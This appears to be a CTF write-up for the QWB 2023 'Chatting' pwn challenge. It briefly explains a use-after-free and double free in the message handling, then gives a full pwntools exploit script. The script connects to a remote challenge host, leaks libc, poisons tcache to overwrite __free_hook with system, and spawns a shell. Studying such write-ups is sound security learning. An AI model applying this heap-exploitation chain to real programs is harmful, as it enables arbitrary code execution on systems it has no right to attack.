0%

qwb2023_Chatting

首先盲目测试一下,发现switch后进行delete,仍然可以show,可以用来进行地址泄漏
审计到此处时发现很奇怪,调试得知sub_4838是获取message的个数

添加超出0x64个message时,会发现终端多输出了一个”Delete”字符串,通过gdb调试发现多余0x64的message会被free,但是指针仍然被保存存在UAF,此时再去delete整个username,会释放掉username下的所有message,造成double free使得程序崩溃。
存在UAF,可以构造fastbin 的double free,通过message将目标地址连接到fastbin中时,偶然发现fastbin会被整理到tcache中,这样就更加方便申请到目标地址处了,直接打free_hook

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
#coding:utf8
from pwn import *

#sh = process('./chatting')
context.log_level = 'debug'
sh = remote('101.200.122.251',14509)
sh.sendlineafter('username:','ha1vk')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc-2.27.so')

def add_user(name):
sh.sendlineafter('):','add')
sh.sendlineafter('username:',name)

def delete(name):
sh.sendlineafter('):','delete')
sh.sendlineafter('delete:',name)

def switch(name):
sh.sendlineafter('):','switch')
sh.sendlineafter('to:',name)

def message(name,size,content):
sh.sendlineafter('):','message')
sh.sendlineafter('To:',name)
sh.sendlineafter('size:',str(size))
sh.sendafter('Content:',content)

def read():
sh.sendlineafter('):','read')

def listuser():
sh.sendlineafter('):','listuser')

switch('ha1vk')
message('ha1vk',0x410,'a'*0x410)
message('cccc',0x10,'bbbbb')
delete('ha1vk')
read()
sh.recvuntil('ha1vk: ')
libc_base = u64(sh.recv(6).ljust(8,b'\x00')) - 0x3ebca0
#libc_base = u64(sh.recv(6).ljust(8,b'\x00')) - 0x219ce0
malloc_hook_addr = libc_base + libc.sym['__malloc_hook']
free_hook_addr = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
print('libc_base=',hex(libc_base))
print('malloc_hook_addr=',hex(malloc_hook_addr))
print('free_hook_addr=',hex(free_hook_addr))
#raw_input()
add_user('ha1vk')
add_user('a')
add_user('b')
add_user('c')
for i in range(7):
message('a',0x60,'a'*0x60)

for i in range(0x64):
message('ha1vk',0x10,'h'*0x10)

#UAF
message('ha1vk',0x60,'h'*0x60)
message('b',0x60,'b'*0x60)
message('b',0x60,'b'*0x60)

#double free
delete('a')
delete('b')
delete('ha1vk')

for i in range(7):
message('c',0x60,'alloc tcache')

message('c',0x60,p64(free_hook_addr))
message('c',0x60,'hijack malloc_hook')

message('c',0x60,'/bin/sh\x00'.ljust(0x60,'c'))
message('c',0x60,p64(system_addr))

#getshell
delete('c')

sh.interactive()